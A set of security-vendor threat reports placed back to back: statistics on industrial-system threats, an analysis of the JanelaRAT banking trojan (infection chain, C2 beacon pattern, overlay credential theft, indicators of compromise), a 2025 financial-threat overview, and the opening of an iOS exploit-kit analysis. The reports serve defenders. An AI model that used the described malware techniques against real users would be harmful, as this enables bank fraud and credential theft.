In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset	Field
0x00	Magic number (0xBEDF00D)
0x04	Decompressed data size
0x08	LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset	Field
0x00	Magic number (0xF00DBEEF)
0x04	Number of entries
0x08	Entry[0].File ID
0x0C	Entry[0].Status
0x10	Entry[0].File offset
0x14	Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset	Field
0x00	Magic number (0x12345678)
0x04	Flags
0x08	Directory path
0x108	Number of entries
0x10C	Entry[0].Package ID
0x110	Entry[0].ChaCha20 key
0x130	Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

• 0xF2 – exploit for ARM64,
• 0xF3 – exploit for ARM64E,
• 0xA2 – Mach-O loader for ARM64,
• 0xA3 – Mach-O loader for ARM64E,
• 2 – implant for ARM64,
• 0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID	Description
0xF3300000	Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000	Kernel exploit (iOS < 14.7) and other components
0xF3700000	Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000	Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000	Kernel exploit (iOS < 17.2) and other components
0xA3030000	Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000	Mach-O loader (iOS 16.0 – 16.4)

